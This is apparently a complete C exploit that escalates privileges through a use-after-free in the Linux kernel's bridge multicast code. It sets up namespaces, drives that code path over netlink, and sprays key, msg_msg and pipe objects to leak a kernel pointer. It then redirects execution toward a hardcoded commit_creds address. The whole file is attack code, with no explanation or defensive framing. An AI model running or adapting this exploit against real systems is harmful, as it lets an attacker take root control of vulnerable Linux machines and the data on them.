#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #undef IFLA_BR_MULTI_BOOLOPT #define IFLA_BR_MULTI_BOOLOPT 46 #ifndef BR_BOOLOPT_MCAST_VLAN_SNOOPING #define BR_BOOLOPT_MCAST_VLAN_SNOOPING 1 #endif #ifndef NLA_F_NESTED #define NLA_F_NESTED (1 << 15) #endif #define SPRAY_NUM 19 int key_id[SPRAY_NUM]; extern unsigned int if_nametoindex(const char *__ifname); struct iplink_req { struct nlmsghdr n; struct ifinfomsg i; char buf[2048]; }; #define NLMSG_TAIL(nmsg) \ ((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) { int len = RTA_LENGTH(alen); struct rtattr *rta; if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) return -1; rta = NLMSG_TAIL(n); rta->rta_type = type; rta->rta_len = len; if (data) memcpy(RTA_DATA(rta), data, alen); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); return 0; } struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) { struct rtattr *nest = NLMSG_TAIL(n); addattr_l(n, maxlen, type | NLA_F_NESTED, NULL, 0); return nest; } int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) { nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest; return n->nlmsg_len; } int build_stack_argv(char **def, char *buf, int buflen, char **argv) { int i = 0; char *p = buf; while (def[i] != NULL && i < 15) { int len = strlen(def[i]) + 1; if ((p - buf) + len > buflen) break; memcpy(p, def[i], len); argv[i] = p; p += len; i++; } argv[i] = NULL; return i; } int iplink_parse(int argc, char **argv, struct iplink_req *req) { struct rtattr *linkinfo = NULL; struct rtattr *data = NULL; int is_slave = 0; for (int i = 0; i < argc; i++) { if (strcmp(argv[i], "name") == 0 || strcmp(argv[i], "dev") == 0) { char *name = argv[++i]; addattr_l(&req->n, sizeof(*req), IFLA_IFNAME, name, strlen(name) + 1); unsigned int idx = if_nametoindex(name); if (idx > 0) req->i.ifi_index = idx; } else if (strcmp(argv[i], "up") == 0) { req->i.ifi_change |= IFF_UP; req->i.ifi_flags |= IFF_UP; } else if (strcmp(argv[i], "master") == 0) { unsigned int ifindex = if_nametoindex(argv[++i]); if (ifindex) addattr_l(&req->n, sizeof(*req), IFLA_MASTER, &ifindex, 4); } else if (strcmp(argv[i], "type") == 0) { char *type = argv[++i]; if (strcmp(type, "bridge_slave") == 0) { is_slave = 1; type = "bridge"; } linkinfo = addattr_nest(&req->n, sizeof(*req), IFLA_LINKINFO); addattr_l(&req->n, sizeof(*req), IFLA_INFO_KIND, type, strlen(type)); data = addattr_nest(&req->n, sizeof(*req), is_slave ? IFLA_INFO_SLAVE_DATA : IFLA_INFO_DATA); } else if (strcmp(argv[i], "vlan_filtering") == 0) { __u8 val = atoi(argv[++i]); addattr_l(&req->n, sizeof(*req), IFLA_BR_VLAN_FILTERING, &val, 1); } else if (strcmp(argv[i], "mcast_snooping") == 0) { __u8 val = atoi(argv[++i]); addattr_l(&req->n, sizeof(*req), IFLA_BR_MCAST_SNOOPING, &val, 1); } else if (strcmp(argv[i], "mcast_vlan_snooping") == 0) { __u8 val = atoi(argv[++i]); struct br_boolopt_multi bm; memset(&bm, 0, sizeof(bm)); bm.optmask = (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING); bm.optval = val ? (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING) : 0; addattr_l(&req->n, sizeof(*req), IFLA_BR_MULTI_BOOLOPT, &bm, sizeof(bm)); } else if (strcmp(argv[i], "mcast_router") == 0) { __u8 val = atoi(argv[++i]); addattr_l(&req->n, sizeof(*req), IFLA_BRPORT_MULTICAST_ROUTER, &val, 1); } } if (data) addattr_nest_end(&req->n, data); if (linkinfo) addattr_nest_end(&req->n, linkinfo); return 0; } int rtnl_talk(struct nlmsghdr *n) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) return -1; struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; n->nlmsg_seq = (unsigned int)time(NULL); n->nlmsg_flags |= NLM_F_ACK; if (sendto(fd, n, n->nlmsg_len, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) { close(fd); return -1; } char buf[4096]; int status = recv(fd, buf, sizeof(buf), 0); if (status > 0) { struct nlmsghdr *h = (struct nlmsghdr *)buf; if (h->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h); if (err->error < 0) { close(fd); return -1; } } } close(fd); return 0; } int iplink_modify(int cmd, unsigned int flags, int argc, char **argv) { struct iplink_req req; memset(&req, 0, sizeof(req)); req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.n.nlmsg_flags = NLM_F_REQUEST | flags; req.n.nlmsg_type = cmd; req.i.ifi_family = AF_UNSPEC; iplink_parse(argc, argv, &req); return rtnl_talk(&req.n); } void ns_setup(){ int fd; char buff[0x100]; if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) { exit(-1); } if (unshare(CLONE_NEWNET)) { exit(-1); } fd = open("/proc/self/setgroups", O_WRONLY); snprintf(buff, sizeof(buff), "deny"); write(fd, buff, strlen(buff)); close(fd); fd = open("/proc/self/uid_map", O_WRONLY); snprintf(buff, sizeof(buff), "0 %d 1", getuid()); write(fd, buff, strlen(buff)); close(fd); fd = open("/proc/self/gid_map", O_WRONLY); snprintf(buff, sizeof(buff), "0 %d 1", getgid()); write(fd, buff, strlen(buff)); close(fd); } void bind_core(int id){ cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(id, &mask); sched_setaffinity(0, sizeof(mask), &mask); } int alloc_payload(int index,size_t inject_val) { char description[32]; snprintf(description, sizeof(description), "key-%06d", index); size_t len = strlen(description); if (len < 31) { memset(description + len, 'A', 31 - len); } description[31] = '\0'; size_t plen = 1024 - 24; char *payload = calloc(1, plen); if (!payload) return -1; if (inject_val != 0) { *(size_t *)(payload + 0x130-0x18) = inject_val; *(size_t *)(payload + 0x198-0x18) = inject_val+0x18; *(size_t *)(payload + 0x200-0x18) = inject_val+0x8; } long key_id = syscall(SYS_add_key, "user", description, payload, plen, KEY_SPEC_SESSION_KEYRING); free(payload); return (int)key_id; } int alloc_key(size_t target_size, int index, size_t inject_val) { if (target_size < 20) return -1; size_t desc_len = target_size - 1; char *description = malloc(target_size); if (!description) return -1; snprintf(description, target_size, "key-%06d", index); size_t current_len = strlen(description); if (current_len < desc_len) { memset(description + current_len, 'A', desc_len - current_len); } if (inject_val != 0 && (0x130 + sizeof(size_t)) <= target_size) { *(size_t *)(description + 0x130) = inject_val; *(size_t *)(description + 0x198) = inject_val; *(size_t *)(description + 0x200) = inject_val+0x8; } description[desc_len] = '\0'; long key_id = syscall(SYS_add_key, "user", description, "data", 4, KEY_SPEC_SESSION_KEYRING); free(description); return (int)key_id; } size_t uaf_ptr = 0; int leak_ptr() { char buf[1024]; for (int i = 0; i < SPRAY_NUM; i++) { if (syscall(SYS_keyctl, KEYCTL_READ, key_id[i], buf, sizeof(buf)) > 0) { size_t val = *(size_t *)(buf + 0x1a0-0x18); if (val != 0) { uaf_ptr = val-0x198; printf("idx %d: uaf_ptr = 0x%lx\n", i, uaf_ptr); return 0; } } } return -1; } int create_dummy_device(int idx) { char name_buf[16]; char buffer[512]; char *argv[16]; int argc; snprintf(name_buf, sizeof(name_buf), "dm_%d", idx); char *cmd[] = { "name", name_buf, "up", "master", "br1", "type", "dummy", NULL }; argc = build_stack_argv(cmd, buffer, sizeof(buffer), argv); return iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv); } int delete_dummy_device(int idx) { char name_buf[16]; char buffer[512]; char *argv[16]; int argc; snprintf(name_buf, sizeof(name_buf), "dm_%d", idx); char *cmd[] = {"dev", name_buf, NULL}; argc = build_stack_argv(cmd, buffer, sizeof(buffer), argv); return iplink_modify(RTM_DELLINK, 0, argc, argv); } #define MSG_NUM 2048 int msg_id[MSG_NUM]; struct msg_buf { long mtype; char mtext[976]; }; void spray_msg_msg() { struct msg_buf msg; memset(msg.mtext, 0, sizeof(msg.mtext)); *(unsigned long *)(msg.mtext + 8) = 0xffffffff81147480; //commit_creds for (int i = 0; i < MSG_NUM; i++) { msg.mtype = i; msg_id[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (msg_id[i] < 0) { continue; } msgsnd(msg_id[i], &msg, sizeof(msg.mtext), 0); } } int pipefd[2]; int trig_uaf(size_t uaf_ptr) { int argc; char buffer[512]; char *argv[16]; char *cmd1[] = {"name", "br1", "up", "type", "bridge", "vlan_filtering", "1", "mcast_snooping", "1", NULL}; argc = build_stack_argv(cmd1, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1; usleep(10000); char *cmd2[] = {"name", "dummy1", "up", "master", "br1", "type", "dummy", NULL}; argc = build_stack_argv(cmd2, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1; usleep(10000); char *mods[][10] = { {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL}, {"dev", "br1", "type", "bridge", "mcast_vlan_snooping", "1", NULL}, {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "0", NULL}, {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL} }; for (int i = 0; i < 4; i++) { argc = build_stack_argv(mods[i], buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, 0, argc, argv)) return -1; usleep(10000); } char *cmd7[] = {"dev", "dummy1", NULL}; argc = build_stack_argv(cmd7, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_DELLINK, 0, argc, argv)) return -1; usleep(90000); for (int i = 0; i < SPRAY_NUM; i++) { key_id[i] = alloc_payload(i,uaf_ptr); if (key_id[i] < 0) return -1; } char *cmd8[] = {"name", "dummy2", "up", "master", "br1", "type", "dummy", NULL}; argc = build_stack_argv(cmd8, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1; usleep(10000); //pipe(pipefd); char *cmd9[] = {"dev", "dummy2", "type", "bridge_slave", "mcast_router", "2", NULL}; argc = build_stack_argv(cmd9, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, 0, argc, argv)) return -1; char *cmd10[] = {"dev", "dummy2", NULL}; argc = build_stack_argv(cmd10, buffer, sizeof(buffer), argv); iplink_modify(RTM_DELLINK, 0, argc, argv); char *cmd11[] = {"dev", "br1", NULL}; argc = build_stack_argv(cmd11, buffer, sizeof(buffer), argv); iplink_modify(RTM_DELLINK, 0, argc, argv); //pipe(pipefd); return 0; } size_t kernel_base=0; int trig_uaf_spray(size_t uaf_ptr) { int argc; char buffer[512]; char *argv[16]; char *cmd1[] = {"name", "br1", "up", "type", "bridge", "vlan_filtering", "1", "mcast_snooping", "1", NULL}; argc = build_stack_argv(cmd1, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1; usleep(10000); char *cmd2[] = {"name", "dummy1", "up", "master", "br1", "type", "dummy", NULL}; argc = build_stack_argv(cmd2, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1; usleep(10000); char *mods[][10] = { {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL}, {"dev", "br1", "type", "bridge", "mcast_vlan_snooping", "1", NULL}, {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "0", NULL}, {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL} }; for (int i = 0; i < 4; i++) { argc = build_stack_argv(mods[i], buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, 0, argc, argv)) return -1; usleep(10000); } char *cmd7[] = {"dev", "dummy1", NULL}; argc = build_stack_argv(cmd7, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_DELLINK, 0, argc, argv)) return -1; usleep(20000); for (int i = 0; i < SPRAY_NUM; i++) { key_id[i] = alloc_payload(i,uaf_ptr); if (key_id[i] < 0) return -1; } for (int i = 0; i < 36; i++) { create_dummy_device(i); usleep(10000); } char *cmd8[] = {"name", "dummy2", "up", "master", "br1", "type", "dummy", NULL}; argc = build_stack_argv(cmd8, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1; usleep(10000); for (int i = 36; i < 56; i++) { create_dummy_device(i); usleep(10000); } //pipe(pipefd); char *cmd9[] = {"dev", "dummy2", "type", "bridge_slave", "mcast_router", "2", NULL}; argc = build_stack_argv(cmd9, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, 0, argc, argv)) return -1; for (int i = 0; i < 36; i++) delete_dummy_device(i); char *cmd10[] = {"dev", "dummy2", NULL}; argc = build_stack_argv(cmd10, buffer, sizeof(buffer), argv); iplink_modify(RTM_DELLINK, 0, argc, argv); char *cmd11[] = {"dev", "br1", NULL}; argc = build_stack_argv(cmd11, buffer, sizeof(buffer), argv); iplink_modify(RTM_DELLINK, 0, argc, argv); for (int i = 36; i < 56; i++) delete_dummy_device(i); //pipe(pipefd); return 0; } int lift_limit(){ struct rlimit max_file; getrlimit(RLIMIT_NOFILE,&max_file); max_file.rlim_cur=max_file.rlim_max; setrlimit(RLIMIT_NOFILE,&max_file); return max_file.rlim_cur; } #define PIPE_NUM 2048 int pipefds[PIPE_NUM][2]; void prepare() { lift_limit(); for (size_t i = 0; i < PIPE_NUM; i++) { pipe(pipefds[i]); } /* for (size_t i = 0; i < PIPE_NUM; i++) { write(pipefds[i][1], "test1234", 8); } */ for (size_t i = 0; i < PIPE_NUM; i++) { if(fcntl(pipefds[i][1], F_SETPIPE_SZ, 0x1000)<0){ perror("[x]pipe resize failed!\n"); exit(-1); } } } void exploit(){ struct msg_buf msg; int sock_fd[2]; size_t data[20]; prepare(); /* int argc; char buffer[512]; char *argv[16]; trig_uaf(0); if(leak_ptr()){ printf("[-]leak_ptr failed!\n"); exit(-1); }; trig_uaf(uaf_ptr); char *cmd1[] = {"name", "br1", "up", "type", "bridge", "vlan_filtering", "1", "mcast_snooping", "1", NULL}; argc = build_stack_argv(cmd1, buffer, sizeof(buffer), argv); if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return; usleep(10000); for (int i = 0; i < 16; i++) { create_dummy_device(i); usleep(10000); } //pipe(pipefd); char *buf=malloc(0x10000); int found=0; for (int i = 0; i < SPRAY_NUM; i++) { if(found) break; if (syscall(SYS_keyctl, KEYCTL_READ, key_id[i], buf, 0x10000) > 0) { for (int i = 0; i < 0x10000/8; i++) { size_t val = *((size_t *)buf + i); if (val>0xffffffff81000000 && (val&0xfff)==0xce0 && (val-0xa0)==*((size_t *)buf+i+5)){ kernel_base=val-0x11c9ce0; printf("[+]Found kernel_base: 0x%lx\n", kernel_base); found=1; break; } } } } for (int i = 0; i < 16; i++) delete_dummy_device(i); char *cmd11[] = {"dev", "br1", NULL}; argc = build_stack_argv(cmd11, buffer, sizeof(buffer), argv); iplink_modify(RTM_DELLINK, 0, argc, argv); if(!kernel_base){ printf("[-]kernel_base not found!\n"); exit(-1); } */ trig_uaf_spray(0); spray_msg_msg(); if(leak_ptr()){ printf("[-]leak_ptr failed!\n"); exit(-1); }; //pipe(pipefd); trig_uaf_spray(uaf_ptr+0x10); for (size_t i = 0; i < PIPE_NUM; i++) { if(fcntl(pipefds[i][1], F_SETPIPE_SZ, 8*0x1000)<0){ perror("[x]pipe resize failed!\n"); exit(-1); } } puts("done"); puts("done"); /* for (size_t i = 0; i < PIPE_NUM; i++) { write(pipefds[i][1], "AAAA", 4); } */ int fd=open("/proc/self/stat", 0); for (size_t i = 0; i < MSG_NUM; i++) { msg.mtype = i; msgrcv(msg_id[i], &msg, sizeof(msg.mtext), 0, IPC_NOWAIT); } if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) < 0) { perror("[x] socketpair"); exit(-1); } data[2]=uaf_ptr+0x30; //ptr+8=commit_creds for (size_t i = 0; i < SPRAY_NUM; i++) { write(sock_fd[0], (char *)data, 128); } fd=open("/proc/self/stat", 0); } int main() { bind_core(0); ns_setup(); exploit(); return 0; }